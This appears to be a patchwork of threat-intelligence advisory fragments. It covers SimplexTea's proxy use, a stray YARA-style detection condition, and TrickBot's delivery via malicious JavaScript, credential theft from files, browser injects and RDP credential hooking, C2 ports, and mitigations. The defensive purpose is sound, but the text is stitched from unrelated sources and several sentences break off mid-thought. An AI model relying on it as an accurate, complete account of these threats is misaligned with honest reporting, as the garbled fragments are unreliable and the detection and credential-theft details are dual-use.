SimplexTea executes new processes with the same technique.


T1090ProxySimplexTea can utilize a proxy for communications.


<= 164 and pe.rich_signature.toolid(257, 29395)


Originally designed as a banking Trojan to steal financial data, TrickBot has evolved into highly modular, multi-stage malware that provides its operators a full suite of tools to conduct a myriad of illegal cyber activities.


In clicking the photo, the victim unknowingly downloads a malicious JavaScript file that, when opened, automatically communicates with the malicious actor’s command and control (C2) server to download TrickBot to the victim’s system (Command and Scripting Interpreter:


Attackers can use TrickBot to: Drop other malware, such as Ryuk and Conti ransomware, or Serve as an Emotet downloader (Ingress Tool Transfer [T1105]).[1] TrickBot uses person-in-the-browser attacks to steal information, such as login credentials (Man in the Browser


Execution [TA0002] Technique Title ID Use Scheduled Task/Job: Scheduled


Unsecured Credentials: Credentials in Files T1552.001 TrickBot can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP.


Input Capture:Credential API Hooking T1056.004 TrickBot has the ability to capture Remote Desktop Protocol credentials by capturing the CredEnumerateA API. Person in the Browser T1185 TrickBot uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified webpage. Command and Control


Non-Standard Port T1571 Some TrickBot samples have used HTTP over ports 447 and 8082 for C2.


Detection Signatures CISA developed the following snort signature for use in detecting network activity associated with TrickBot activity.


Enforce multi-factor authentication.


Visit the MITRE ATT&CK Techniques pages (linked in table 1 above) for additional mitigation and detection strategies.


Added new MITRE ATT&CKs and updated Table 1